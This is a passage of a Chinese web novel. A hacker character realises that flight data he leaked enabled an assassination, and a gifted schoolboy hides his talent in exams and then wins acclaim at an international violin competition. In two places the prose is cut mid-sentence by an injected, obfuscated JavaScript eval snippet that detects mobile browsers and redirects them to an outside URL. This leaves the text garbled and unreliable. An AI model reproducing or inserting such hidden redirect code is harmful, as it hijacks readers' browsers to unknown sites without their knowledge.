他记得那项任务,目标是一份私人航班的行程数据。他的雇主只要求获取航班编号、起飞时间和航线轨迹,看起来不过是一次普通的情报买卖。这种事情他不是第一次做,帝国的官员们总有各种见不得光的行程,政敌、资本家、间谍组织,甚至是皇室内部,都有人愿意花大价钱买这种信息,有人想知道某个人的行踪太正常不过了。 可这个航班…… 他指尖渐渐发凉——他交出去的航线数据,与出事的航班完全吻合。 是巧合吗?还是…… 方灵烨不由自主地舔了舔干燥的嘴唇。 他原以为自己只是接了一单寻常的活,但现在,脑海里却有个可怕的念头浮现出来——他泄露的这份信息,很可能被用来制造了这场坠机事故。 可如果真是这样…… 他深吸一口气,试图让自己冷静下来,理智告诉他,自己不过是个信息中间人,真正动手的是雇主,和他没有关系。 方灵烨的手心开始冒汗,鼠标下意识地紧握又松开。他迅速翻找着自己的数据库,试图找到最初的雇主信息,可他很快意识到——对方的身份信息是伪造的,汇款路径也层层跳转,根本查不到任何有用的线索。 他被利用了。 他泄露的信息,直接导致了一场暗杀——而且是对帝国财政大臣的暗杀! 电脑风扇的嗡嗡声在寂静的房间里显得格外刺耳,仿佛一只无形的手正攥紧他的喉咙,让他喘不过气来。 屏幕上的光投射在他脸上,照出一双写满焦虑的眼睛。他确信自己没在任务中留下能指引到自己真实身份的线索,所有能证明他身份的痕迹都已经清理掉。但以防万一,他仍再次清空了访问路径里所有记录,并启动了几个伪装程序,让自己的网络痕迹变得更加混乱。 尽管坠机不是由他直接导致的,没有他也还会有别的人接那个任务,但这件事终究和他脱不了干系。幕后黑手不会留他这个知情人,帝国的调查小组也不会放过他,他对自己的技术有绝对的自信,但他的理智告诉他,即使被捉到只是个小概率问题,乘以时间这个变量,也会变成一个足够大的可能性。 现在,这枚金牌他是非拿不可:有了它,他才有资本能够通过七月份的甄选,带着那笔沾着血的钱,离开这个国家,带着妈妈和姐姐去索伦! 没管方灵烨呆在那儿兀自出神,顾梓聿倒是悠闲地走了。在说了那番话后他的第一感觉就是:这一阵的憋屈都过去了,自己好帅,好爽,好有范! 可是接下来一阵慌乱袭上心头:如果方灵烨当真了,讲给张瑾妤听怎么办?就算她现在好像不喜欢他了,可是…要是这只是自己吃错醋了,怎么办? 他脑海里不断回荡着张瑾妤以前那温暖的笑容。那时的她,偶尔的眼神交汇,两个人心里都有了默契,但现在,张瑾妤变了,变得冷淡、疏远,像是一个完全不同的人。她的眼神不再那么柔软,语气也没有了以前的亲切,甚至连平常的问候都没有了。顾梓聿不明白,难道是自己做错了什么?他时常回忆假期之前发生的事,试图找出她冷淡的原因,可总觉得哪里不对劲,但又找不到确切的答案。 他仔细地回想了下:这个学期刚开学的时候,他就几次看到张瑾妤从傅尧家的车上和傅尧一起下来,他一阵气闷——尽管他们两家好像是住在附近,但原来张瑾妤每天都是骑自行车上下学的呀。过了一段时间,他不过试探性地问了问,好嘛,张瑾妤就直接换了座位,去和傅尧做同桌了! 这叫什么事啊,张瑾妤真的喜欢他吗?喜欢过吗?现在还喜欢吗?还是她其实只是因为中考压力过大而选择避开自己? 本来对于退出各种竞赛带来的连锁反应就已经够让他吃不消了,张瑾妤若有似无的冷淡更让他烦躁不堪。 她总是在减少和他的接触,瑾妤妈妈为他俩准备的可口的小点心没有了,那头长发幽幽散发出来的馨香也没有了,有时的会心一笑也没有了,至于发试卷的时候他有意地讲两句话,她却也并不搭理。他只能靠打篮球来宣泄这无处可使的精力。每天都打的筋疲力尽,回家才能不去想这些有的没的。 心里有种莫名的焦虑感,他试图让自己冷静下来,可心跳却越来越快。他想去找她,问清楚一切,但又怕问出来的结果会更痛苦,怕她回答“我们只是朋友”时,所有曾经的美好都变得虚无。 横竖顾仲景现在只希望他多玩多闹,最好一下子变成一个学渣,反正档案不能太好看,之前已经很完美了,现在得找个说的过去的原因来解释这副頽样——早恋这个理由不错,早恋导致学习成绩下降是多少前辈的血泪教训啊!张瑾妤不理他倒是帮了大忙,可是这根本不是他想要的啊! 日子是一天天地过去,转眼就到了春暖花开的四月末。天气渐渐变得温暖,校园里的花朵争相开放,空气中弥漫着春天的气息。 陈心乔又走神了。 她滑开手机屏幕,偷拍的照片上,少年光明正大地戴着耳机,绕着湖边慢慢倒退地散步,一手夹着本《DIME》,封面上依稀是科比那矫健的身影,另一手还提着一袋烧烤味的乐事薯片,边溜达边吃,好不逍遥快哉,竟是丝毫没被校园里中考前紧张的气氛所感染—— 或者他根本就不在意,她想。 陈心乔坐在书桌前,尽管面前堆着一沓笔试申请要用的材料,心思却根本没有放在即将到来的五校联招上。她看着手机相册里的顾梓聿,那吊儿郎当似乎一副什么都不在意的样子,跟她之前认识的那个同班同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266195|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学已经完全不一样了:他不再是那个让一班的老师和同学们都为之骄傲的天才,大家都为他感到惋惜,甚至怀疑他到底为什么要如此消沉,放弃自己的一切。 他仿佛是自我放逐般,和那些她很看不上的“平行班”的男孩女孩玩在一起,却和自己班的人格格不入,竞赛统统不参加,更不要说初三下学期以来的三次大考,成绩次次倒退,按理来说早就不能再呆在一班了。 这个学期刚开始时,老师们还没有怎么反应过来,可能只是以为他太累了,状态有些差。加上顾梓聿一向是个不需要人操心的模范学生,估计老师们也想不到他一下子竟会堕落成这样。 陈心乔是一个很文静的女孩子,或者说,她表现在外的形象,是一个很文静的女孩子。她在这个班只有一两个好朋友,而到多数时候也是别人说,而她静悄悄地听。 没有人知道她心底里有多么多么喜欢顾梓聿,有的时候老师叫她发卷子,当她发到顾梓聿面前时,只要他对她礼貌地笑一笑,陈心乔的心就仿佛被蜜泡了三天三夜,甜丝丝地,都能让她做一星期的好梦。 当她发现她心头那个不容亵渎的人变成了如今这个模样——当她想到“堕落”这两个字时,她的心都像给人绞成了一地碎片。有很多个夜晚,她窝在自己的小床上,把头埋在枕头里暗暗地流泪,尤其是当她听到同学之间私底下传说顾梓聿之所以变成现在这样,是因为他追求张瑾妤却被拒绝了,她更为顾梓聿不值起来。 她很多次想写封信告诉顾梓聿,让他知道还有人默默喜欢他、支持他、盼望着他好。她想告诉他张瑾妤不是什么好女孩,表面上冰冷地像朵高岭之花,可暗地里不知道和傅尧有几腿呢。她想告诉他好好珍惜自己的人生,不要为了一个女孩子就把未来轻易地抛弃…… 可是她做不到!当她那天无意中瞥见顾梓聿望着张瑾妤的那种眼神,她就知道顾梓聿已经中了毒了,中了爱的毒,无药可解。即使是被程琤体罚,满头大汗踉踉跄跄走出办公室后,他却还能若无其事地对张瑾妤露出微笑宽慰她,她张瑾妤何德何能? 由此,嫉妒的毒蛇开始慢慢咬噬她的心,她悲伤而绝望地望着顾梓聿的背影,既恨自己的卑微,又恨顾梓聿的深情。 然而顾梓聿却根本不知道这世上另一个角落还有一个女生用她毕生的力量和全部的心在偷偷爱慕着自己。此时的他,正坐在教室里微微出神—— 教室里只能听见数学老师清晰的讲评试卷声,大家专注地听着,很安静,却也稍显沉闷。 顾梓聿坐在教室的后排,眼神早已失去了焦点。老师的声音在他耳边回荡,可他的心思早已飘远。 试卷上的每一道题目都不难,考试的时候甚至有几道他一眼就看出了答案,根本不需要多思考。但他下笔的时候却故意做错一些大题,又空了几道填空题,再加上选错几道选择题——他心里有一个清晰的目标,不能让自己考得太好。 顾梓聿也知道,凭借自己以往的水平,如果成绩太差未免引人猜疑,他不想引发不必要的讨论,所以他故意把答案控制在一个“中等水平”,也就是平均分的水平——既不低也不高,避免被过度关注。 但与此同时,他也开始感到有些疲惫。这种控制分数的行为并不如他想象中的轻松。每当他想故意将一个原本简单的选择题给“选错”时,他都得小心翼翼,避免让自己看起来太过用力。为了维持这种微妙的平衡,他不得不在心里反复权衡——这样做会不会让老师产生怀疑?如果太过随意,成绩能不能控制在一个合适的范围? 不只是动脑,还更是不断地压抑自己去做出“平凡”的选择,这种完全背离他本能的行为实在是耗费心力得令人厌烦。 他不禁轻轻叹了口气,目光又悄悄游离到窗外。外面的天空依旧灰蒙蒙的,偶尔有几只鸟飞过。 要是自己也会飞就好了。 宋熙和在鹿城待到他开学之后就走了,再迟钝的人也能明白,师兄这个假期就是为了自己而特意留下的,而冬假他们也真是进行了一场魔鬼集训。开学之后,每周末的远程琴课也都没有落下。按照顾仲景前段时间跟他的严肃谈话,为了避开帝国国防生的提前选拔,自己目前最安全的选择就是走小提琴专业,考到国外去。这样,梅纽因大赛就是他备考路上最重要的第一步。 今年的比赛是放在帝都举行,顾仲景本来有些顾虑,不愿意放自己去,然而师兄却说服了他,给了自己这次难得的机会。 梅纽因国际小提琴比赛——一个享有盛誉的、为世界范围内22岁以下的青少年小提琴手而设立的、最重要的国际比赛,多少年轻音乐家在这里崭露头角,开启属于自己的艺术生涯。他当然知道这场比赛的残酷,天才云集,所有参赛者都是在各自国家拔尖的选手。 而现在,他要踏上这条路了。 话说回来,今天好像没有看到明珺啊,难道说,飞机订的是…今天? 还没等顾梓聿回过神来,手机就疯狂地振动了起来,他忙不迭向讲台上的数学老师示意,得到准许后从教室后门偷溜出来——能在课堂上接电话的学生全学校应该只此一个,由此可见顾梓聿在老师那儿是多受偏爱。 接通电话,那头明亮悦耳的女声现在却是带着股焦躁:“首席大人!今天下午两点的机票去帝都!我来你家集合,伯父居然说你去上学了?!你有没有搞错啊!” “呃…” 看了看手表,顾梓聿一面讪笑一面以百米冲刺的速度跑向教室收拾东西再跑向校门口,“这不是要中考了吗,要抓紧时间学习啊…” “得了吧你,明明是忘了还扯这么多理由,哎对了,你要去找班主任请假签四联单才出得去吧!” 顾梓聿气喘吁吁地跑到校门口,看着凶神恶煞的教导主任和保安队长,才想到这回事的他不禁哀叹:“明珺啊,你怎么不早点说呢…” 15. 璞玉浑金 华纳帝国地域宽广,幅员辽阔。北起千年冰寒的皑皑雪峰,南至赤道酷热的热带岛屿。因此,位于华北的帝都和地处东南的鹿城气候环境大相径庭。 不同于鹿城的阳光明媚,绿岛风光,即使已是五月初了,帝都的天仍还是灰蒙蒙地,铁灰色的天空中太阳永远不肯露头一见,就连临街的行道树看起来也是灰灰的,绿得不爽快。好在路旁还有一簇簇春花,勉强添了些颜色。 帝都之所以被称为帝都,是因为她在华纳五千多年的历史中占据了绝对重要的地位——上下五千多年的华纳史中,帝都曾数易其名,但这些变更都不曾妨碍她建都三千多年,永远是历朝历代政治、文化重心的至高无上的地位。 走进帝都,千年前征夫们从千里之外的密云山中开采出石板,经历千辛万苦铺成的朱雀大街上往来着高级轿车;绿柳掩映着古朴的砖红城墙,缀着飞檐瑞兽的深深宫城旁是新修建的直入云霄的摩天大厦。这是最好的地方,也是最坏的地方。 这座矗立着历史古迹与现代建筑、裹挟着文名风流与锱铢铜臭、混合着陈腐暮气与蓬勃朝气的矛盾的城市,不单是野心家弄潮儿大展身手的宝地,也是吞噬梦想、制造噩梦的无尽黑暗之地。在这里,每天有多少人一跃成为炙手可热、大权在握的权贵,就有多少人从云端跌到尘埃之间,瞬间穷困潦倒、一文不名。 顾梓聿并不喜欢这里。应该说,他一直都不喜欢人满为患的超级大都市。不管是帝都、申城或是港城,都给他带来一种铺天盖地的压迫感。更不用说帝都一直以来颇为人诟病的雾霾,严重时,即便带上口罩,嘴里也是满满的金属味。他皱了皱眉头:他简直不能更想念风和日丽、空气清新的鹿城了。 这次明珺算是陪他过来参赛,听到他对帝都的抱怨,也不禁点头赞同:虽然爸爸妈妈就在这里,但她也更喜欢鹿城,鹿城更有家的感觉。 不过没关系,明天比赛就开始了。再过几天,等到赛程结束,他就可以回去呼吸鹿城的甜美空气了。 梅纽因国际青少年小提琴比赛旨在发掘小提琴人才,推广小提琴艺术,以及促进世界交流。因此,它并不只是单纯的比赛,赛程之外则有一周左右的时间是各种各样的音乐会、琴展。 像顾梓聿这几天就去听了著名指挥家卡拉扬与柏林爱乐乐团合作的门德尔松的《众神赞歌》(第二交响曲)、杰出青年指挥家服部让二携同中央爱乐乐团演出的莫扎特的《魔笛》以及各位评委的大师班。 作为国际知名音乐家,他们都秉承梅纽因先生的教育理念,借此良机与参赛选手、学生以及其他观众一同分享他们的音乐经历和体验。评委会对每一位现场演奏的学生进行指导。所有大师课均对外开放,观众可现场观摩各位评委的教学并现场提问。 就算不是为了来参加比赛,这趟机票钱也够本啦——能近距离接触到这么多前辈大家,正是顾梓聿在帝国气象中心连续四天发布“雾霾严重警告:红色级别”的背景下还能一直这么兴高采烈的原因。 不出顾梓聿意料,初赛当天,帝都的天还是一如既往地伸手不见五指。不过音乐厅里倒是灯火通明,很多选手都在认真地校音,试奏,琴声此起彼伏。他信步走过一片等候区域,跟前几天认识的几位参赛选手打过招呼,就看到一个他本来没想到会在这儿出现的人。 “师兄?师兄!您怎么来了?”顾梓聿一阵惊喜,赶忙迎上前去。他知道报名时除了吴老师的推荐信,是师兄为自己写了另一封专业推荐信。但他听说师兄最近很忙,所以压根没想到他会出席初赛这样的小场面。 他仔细地看了看对方:眼下有深深的黑眼圈,看起来十分憔悴,脸上冒出了不少青黑的胡茬——师兄是多么讲究整洁的人啊,这可不常见。 宋熙和微微一笑,仍是很有些疲惫的样子:“你第一次参加正式比赛嘛,我当然要来给你压阵啦。” 也是不忍心看宋熙和这么疲倦了还操心自己的事,顾梓聿瞪大眼睛,一副煞有介事的样子:“现在初赛师兄就不用太操心啦,等到我决赛时,师兄再来为我加油吧!” 宋熙和看着小师弟一副胸有成竹的样子,忍不住板起脸来,故意逗他:“嗬,小子,口气还挺大,你不知道吧,因为这次比赛在华纳举行,是由帝国中央音乐学院承办的,所以校内符合条件的几乎都报名了。人家可都是专业的,你挺有信心嘛!” “艺术不分专业业余,”顾梓聿那双凤眼燃烧起灼灼斗志,分外耀眼,“况且,我也不能给吴老师,还有师兄您丢脸。” 宋熙和再一次正视这位小师弟的双眼,欣慰地拍拍他的肩膀:“好,你去吧,师兄在这里为你加油!” 比赛分为少年组和青年组,因为顾梓聿今年15岁,所以参加的是16岁以下的少年组,而16岁至22岁的青年组初赛则在隔壁的音乐厅举行。由于报名者远远大于其所能容纳的参赛者,所以入选条件也很严苛。报名者需要专业等级证书,分别由授业教师和另一名小提琴从业者提交的两封推荐信,以及近期一段演奏的视频,内容包括组委会考察范围内的一首练习曲、一首奏鸣曲和一首炫技作品。 经过大赛组委会严格的筛选,本届梅纽因比赛共有来自华纳、索伦、法兰等9个国家的42名入围选手来到帝都参赛。其中有很多人都就读于国际一流音乐学府,如索伦的柯蒂斯音乐学院、茱莉亚音乐学院、新英格兰音乐学院,华纳的中央音乐学院和申城音乐学院、东洋的桐棚音乐学院等。 来自世界各地的9位大赛评委将采取现场打分的形式,当场宣布分数及晋级名单。少年组初赛过后,将会有8名选手进入最后的决赛,争夺前五名。 顾梓聿抽的签比较后面,所以在短暂地热身之后,他就回到选手席上坐下,安然地看着比赛——因为初赛的比赛曲目是统一的,所以高下一听俱知。 舞台上站着的正是他前两天认识的其中一位选手季羽飞。他落落大方地演奏完准备曲目,完成度倒是很好,细节上也没有太多可挑剔的,就是抽到的八小节的即兴演奏做的不是太好,到后面为了凑够三分钟有些马虎了。 等到80分的总体分出来,顾梓聿站起身轻轻鼓掌迎接季羽飞回来。看着对方一副没有太大失落的淡定表情,他鼓励地拍了拍季羽飞的肩膀:“很好,胜不骄败不馁,就是要有这样的气度。” “屁嘞…”戴眼镜的胖胖男孩郁闷地抓了把头发,“我才不是有气度,唉,我刚刚都要郁闷死了,那个即兴我太紧张了…” 抱怨了好一会,季羽飞才笑着说:“不过没事,我还小,今年就当来见见世面,下次再接再厉!” “你多大呀?”顾梓聿好奇地接了一句。 “我下个月满11岁!”季羽飞嘟了嘟嘴——还有点婴儿肥。 “我去观众席找我妈啦,你也加油哈,争取进决赛!” 这,这这居然真是个小孩!一米七的小孩!五年级的小孩!已经拉得这么好了! 顾梓聿无奈地点点头:“行行行,我加油,你赶快去找妈妈吧,别走丢了哈。” 季羽飞眯眼:我感觉你在蛐蛐我,但我没有证据。 听到后面,顾梓聿又被一个选手抓住眼球——一个一头短发大眼,气质极具侵略性的女孩居然用大约208的急速快板来演奏巴赫的d小调奏鸣曲。接下来的即兴片段也是被她演绎的华彩非常,高潮迭起。 平心而论,仅有四小节的短句被升华成了这样一首音乐诗,还刚刚好卡在3分钟,全场的热烈掌声都不足以表达大家心里的赞叹。也难怪评委给出了99分的超高分——毕竟帝都脚下最不缺的就是天才啊。 不过这却是他太过低估自己高估别人了。事实上这个女孩是央音的种子选手郭震,今年十四岁。出身音乐世家名字霸气的她专业素养也很霸气,是央音这几年来老师们最看好的苗子,她的水平跟央音选送青年组的几个选手几乎不相上下。 这次来比赛她就是奔着第一来的,比赛完就要去茱莉亚音乐学院入学了。 “第20号选手,顾梓聿,请做好准备。”柔美的女声响起,顾梓聿起身,拿上琴和弓,对后两排观众席上一脸又紧张又期待的明珺安慰地一笑:“别紧张,放轻松。” 姜明珺简直忍不住要吐槽了:谁紧张?我是替你紧张好嘛! 舞台上,一束橘黄色灯光斜斜地打下来,正好照在顾梓聿身上。 他穿着一件浅灰色羊绒衫,内搭一件丹宁色衬衣,简简单单加上一条烟灰色的西装裤,利落的剪裁配上经典的牛津鞋,很轻易就展现了少年本身的青春活力。 他左手执琴颈,右手持弓,先向在场评委们鞠了一躬。 像这样的场合,参与者本身就需要遵守一定的礼仪以示尊重,穿着正装是最基本的要求。且不说刚才几位女选手都穿着隆重的长款礼服,还精心地做了妆容,盘了头发,男选手也都穿上黑色礼服或燕尾服,系上领结。 猛然一看到顾梓聿这样“随意”的穿着,加之其又是最后一名选手,已经正襟危坐了一整天了的九位评委们都来了精神。 顾梓聿轻舒一口气,对他来说,舞台上炙热的灯光和台下目光灼灼的人们都是他最为熟悉的场景——他随着乐团上过的台也不知道有多少了。然而,这个舞台对他来说意义是不一样的—— 这是他第一次以独奏的身份站在这里,以自己的琴和弓开疆拓土! 架琴。 举弓。 弓头轻扬,他闭上眼,唇角微翘,仿佛沉浸自己的幻梦中。右手优雅地带动琴弓,悠扬的乐章缓缓展开。在舞台上,他看起来是那样的光辉夺目,却又自有一种淡然而内敛的气度,简直不像是一个十五岁的男生所应该具有的。那种融天真与沧桑为一体的气质,简直叫人为之心折。 但,与他本人和在场观众沉醉在音乐中截然相反的是,评委席上罕见地弥漫开一股奇特的气氛,不少评委甚至无礼地、在选手还在演奏作品的时候就开始与同桌评委窃窃私语。 “无伴奏…” “天呐” “神奇的东方小子!” 他们交头接耳地、惊奇地跟同行交换见解。 巴赫的g小调无伴奏小提琴奏鸣曲,是巴赫六首无伴奏小提琴奏鸣曲与帕蒂塔的第一首,也是当时宋熙和给顾梓聿上第三节课时示范的曲子,是音乐史上的杰作。而这首曲子,历来公认演奏最好的版本,除了犹太血统小提琴家亚沙·海菲兹在三十年代巅峰时期所灌录的版本,就是耶胡迪·梅纽因爵士本人在第十五届大赛开幕时演出的现场版本了。 巴赫无伴奏小提琴奏鸣曲与组曲,是小提琴曲的“圣经”。 在这些曲子中,巴赫运用了无与伦比的、小提琴所能演奏出来的一切和弦,大手笔地塞满了几乎不可能演奏出来的对位技巧,这使小提琴这一需要原本需要古钢琴、管风琴等伴奏的旋律性乐器,能够在独立使用的情况下,演奏出不可思议的多声部复调音乐。 这是小提琴无伴奏奏鸣曲的巅峰,再没有作曲家能够逾越。 这样年轻的一个少年,勇敢地在备选曲目地选择了这样经典的作品——多少演奏家的珠玉在前,他要拿出怎样的演绎来叹服世人呢? 而他在比赛现场去选择这个作品的底气,无疑是他那超越了同龄人的技术: 巴赫在作品中将复调和声和主调旋律线融合在一起,创造了一种和声与对位织体的幻觉,强调声部的互动,演奏者在演奏时需要同时按下几根弦,顾梓聿的左手灵活精准,而右手轻柔又有力,拉出的和弦干净又和谐,展现了他对弓子的绝佳的控制力。 但令在场评委震撼的是,这个少年居然在勇气和技术之外,还能表现出那超越他年龄的那静水深流的厚重情感—— 对,之所以这组曲子令人瞩目,不单单因为它的难度,更重要的是,巴赫在创作这项复调巨作时,正值他的妻子玛利亚不幸辞世,巴赫是带着深沉的悲痛投入到创作中的。 纯熟的技术加上浓重的情绪,这并不是一加一就能得到二的简单算术。有多少技术高超、成名已久的小提琴家都尚且不敢公开演绎,或演绎这组作品时不能达到如此高的完成度,可这个少年居然做到了! 要做到演奏时情感浓烈不难:普通的曲子有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266196|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走向清晰的叙事节奏,有明显的动机、有起承转合,可供演奏者理解发挥。可这曲子内在结构严谨、逻辑理性,如何在严密深邃的旋律中表达充沛的情感,如何在乐句的缝隙间呼吸,表达出浓烈的爱意、悲剧色彩、戏剧性的转折、诗意的舞蹈,这都需要极强的表现力和感染力,绝对不是易事。 当评委还瞠目结舌于顾梓聿是如何在小小年纪演绎出这样的情绪时,普通听众们早已沉醉在第一乐章悲壮而肃穆、如深海般的情绪中,很明显地被那股凝重和忧伤打动,进而产生共鸣。 在第一乐章看似平静的柔板中,和弦一出,黯淡忧伤的旋律仿佛一声无奈的叹息。这是一首极具即兴意味的乐章,主旋律在缓缓吟唱,同时有许多装饰音和分解和弦,音阶跨度大,这就要求演奏者有稳定的弓速和精准的换弓,保证连贯的音色,还要呈现出自然的语句流动感。 在顾梓聿的琴下,歌唱般的乐段在各个声部间自由流转,然后,一个节奏鲜明的短小动机引出了第二乐章绚烂的赋格。赋格主题在不同声部中不断转换,各个声部层次分明,纤细的弓子灵巧地或断奏或连奏,在四条弦上进行双音和多声部的交替,音色丰富,富有建筑感。 评委们的眼睛都仿佛黏在了顾梓聿灵活自如的左手上:第三乐章的西西里安舞曲和第四乐章的急板对这个少年来说好像根本就没有难度!快速的音阶和琶音构成、大量的和弦和对位、摇摆独特的律动根本难不倒这个面带自信的少年,他修长而莹白的手指在漆黑的指板上跳跃,仿佛活泼的小鹿在山间自由地穿行,他的弓法干净利落,音符清晰、连贯且富有张力,节奏强烈而有推动感,又能维持稳定的节拍,音色饱满明亮,情感丰沛动人。 在一旁的宋熙和也惊讶于小师弟的长足进步:距离他第一次与小师弟见面,满打满算不到五个月,可小师弟的音色竟有了这样大的提升,将他所传授的要点融会贯通,音符间的引力、歌唱性、留白与呼吸,他最开始教的最重要的三个基本原则都反映在了顾梓聿现在的演奏上。 就在第一次见面的时候,顾梓聿自学的炫技作品《钟》就已经给他留下了深刻印象,而那首情感丰沛的《沉思》也证明了少年扎实的基本功。但这段赋格,作为巴赫最富盛名的大量应用了和弦和对位技巧的高难度片段,则实实在在地证明了顾梓聿这小半年没有虚度。 而更令他欣慰的是,顾梓聿不仅仅能完成谱面要求,解决技术问题,还能表达出作品本身蕴含的情感内核! 当时老师那一巴掌没有白打——这孩子,悟性实在太高,知错能改,更重要的是,还改的这般完美! 当然,把这一切都归结到天分上也太不讲道理。至少宋熙和知道,要想能在比赛场上演绎出这么完美的表达,背后练习的时间和汗水绝不可能少!音乐生都知道的那个法则:在家里练习了100%,到老师面前就只剩下50%,而比赛场上就只能剩下20%了。 顾梓聿能发挥得如此完美,在家里一定已经练到了200%、300%。 看来自己放弃做这个评委没有错。宋熙和很开心地笑了起来。 顾梓聿并不知道,这次在华纳家门口举办的大赛,主办方曾力邀宋熙和出任评委,毕竟他是这个年龄段活跃在国际舞台上的华纳第一人。而宋熙和婉拒了,只因为大赛章程要求评委不得与参赛选手有师承、亲属等关系。 作为顾梓聿名义上的师兄、实际上的老师,即使知道这个“梅纽因史上最年轻评委”的名头给自己带来的并不仅是数百万出场费和高密集曝光率这样简单,他仍是推掉了。而如今,能看到顾梓聿这块美玉在他的呵护下震惊世人,这种骄傲不是名利所能相提并论的。 这是我的师弟啊。他这样想。 同样在观众席上,姜明珺同样骄傲地眼圈泛红:这是我的首席!是我的顾家哥哥啊! 一曲结束。评委罕见的没有立刻给予点评。于是司仪呈上最后一个即兴演奏试题:八小节的乐句。 几乎没有多加思考,在将近十分钟的激情洋溢的演奏过后,琴弓再次轻扬,美妙的音符就这样从琴弦下流淌开来。 不同于忧郁感伤的奏鸣曲,活泼欢快的旋律再次调动起在场所有人的情绪。顾梓聿闭上眼,感觉到指尖在指板上游走的、得心应手的快感。当弓子随心所欲地在琴弦上跳动时,他放任自己的身体就这样随性地演奏下去,而心神则飞到了别的地方。 对,就是这样的。有生以来,他最快乐的事,就是和他的琴在一起,去任何他想去的地方:他愿意和他的琴一起,去看贝多芬梦里的田园,去看德彪西心中的月光,去看莫扎特的世外桃源…只要手持着琴,在他的世界,他就是当之无愧的王! “啊,小奥斯特拉赫!”评委奥利维·查理,法兰小提琴家、音乐史家小声惊呼。的确,这个少年不论是自然而富有感染力的台风,还是娴熟自如的技巧,都像极了这个日尔曼血统法籍天才小提琴神童。 “哔—”当三分钟即兴演奏计时结束,顾梓聿也刚好完成了最后一个音符。 奥利维激动地起立鼓掌,拿起话筒:“Mon dieu ! Vous êtes génial ! 太神奇了,对于一个少年来说,我一生中都没有听过这样的演奏!” “99分!”观众席上一片哗然,部分人甚至觉得是因为之前郭震的分打的过高了,现在才会出现这种情况。音乐厅里到处都是不满的议论声。 顾梓聿倒是没什么兴奋的感觉。他再次行了礼,慢慢地下台来:他倒不是累了,只是被那位评委的热情赞扬给吓到了而已。对于他来说,在小提琴方面他很少得到这么高的评价。吴老师最好不过就是点点头,除此之外全是各种训斥挖苦批评教育。 记得小时候,还会有人嫉炉自己小小年纪就当上首席,可他愿意吗?整天就是被吴老师骂!狂风骤雨地骂、劈头盖脸的骂!唉,被虐待惯了,居然听了表扬会觉得赤裸裸的羞愧?自己真是…找骂。 能够与那个小女孩并列第一进入决赛,顾梓聿已经觉得很开心了。最起码,他证明了专业和业余也可以不相上下。不是吗? 16. 名剑出鞘 “嗨,首席大人,多谢您在百忙之中抽出时间来陪小的逛街,辛苦啦~” 姜明珺心不在焉地调笑了一句,心神却是完全集中在玻璃橱窗里的精致小礼服上,根本移不开眼。 顾梓聿抬头完全不顾形象地翻了一个大大的白眼:“是啊,你都知道我是在‘百忙之中’了,那还不快点挑!” 少年组初赛结束后,8位晋级选手有几天的时间来养精蓄锐,争取调整到最好的状态以面对决赛。而未能晋级的选手则可以从他们所准备的自选参赛曲目中挑选部分短小精湛的片段进行午间专场音乐会,与观众分享演奏的快乐,也可以互相切磋、交流。 此时其他选手应该都呆在酒店好好休息吧,唉,只有自己,还苦命地被拉出来做姜大小姐的逛街小跟班。 “你速战速决啊,我还要回去摸摸琴,找一下手感的啊!” “喂,小奥斯特拉赫,你可是稳稳当当进了决赛,可我却是大老远一路陪你过来比赛啊,现在作为闲杂人等,只能游手好闲,这么多天下来我都是一个人孤零零的,你不陪陪我也就算了,到时候决赛我也不陪你去了!那么高大上的国家大剧院,你一个人去吧,让你一个人孤单单的才知道我的好!” 一皱鼻子一跺脚,姜明珺终于露出了娇蛮大小姐的真面目,“再说了,小奥斯特拉赫还用练琴吗?谁不知道他最有名的就是现场视奏?” “唉,别再提他了,”顾梓聿受不了,“拜托,就算那评委要夸我也选一个兆头好一点的啊,小奥斯特拉赫英年早逝诶,14岁成名,23岁就死了,我才不想像他那样啊!” “哎!对对,不提了不提了!你跟他一点都不像!行啦,陪我去试一下那件衣服~” 慌张地打断这句不太吉利的话,姜明珺开开心心地拉着顾梓聿的手奔向时装店,而身后的行人则纷纷露出了善意的笑容。 就像姜明珺说的,其实顾梓聿回酒店后也没怎么练琴。刷了刷朋友圈里几个人的动态,他就无趣地摁掉手机——现在离中考只剩下二十多天了,大家应该都在努力奋战吧?连明祎都认真起来,不再插科打诨了。 他抱着个枕头,将自己深深地陷入柔软的沙发里。 离开鹿城已经快半个月了,方灵烨应该已经在封闭集训了吧?他是吃过这集训的苦的,进入国家集训队的都是精英选手,他每天都在和国内最顶尖的算法高手竞争,充满了压力和挑战。早上上课,下午模拟比赛,晚上则是讲解讨论和代码优化,早7晚11,有更卷的人几乎能不睡觉。 但,在这样的高强度的压力下,方灵烨的水平肯定会脱胎换骨。 顾梓聿已经很久没有和信竞的小伙伴聊起比赛了。今年的 NOI,他和傅尧都缺席了。方灵烨拿到单人金牌,张铎拿银,彭昱铩羽而归,要说心里没有点波澜起伏,没有些愧疚失落,那都是骗人的。 方灵烨夺金,是该恭喜;而张铎拿银,只能说一句发挥平平。只是最可惜彭昱,以他的水平,一枚奖牌也总该是有的。 这些成绩都是他作为朋友、同侪所应该加以祝福庆贺。但他用枕头蒙住自己的脸,深深地叹了一口气:没脸哪。 在国际赛场上,华纳对 IOI 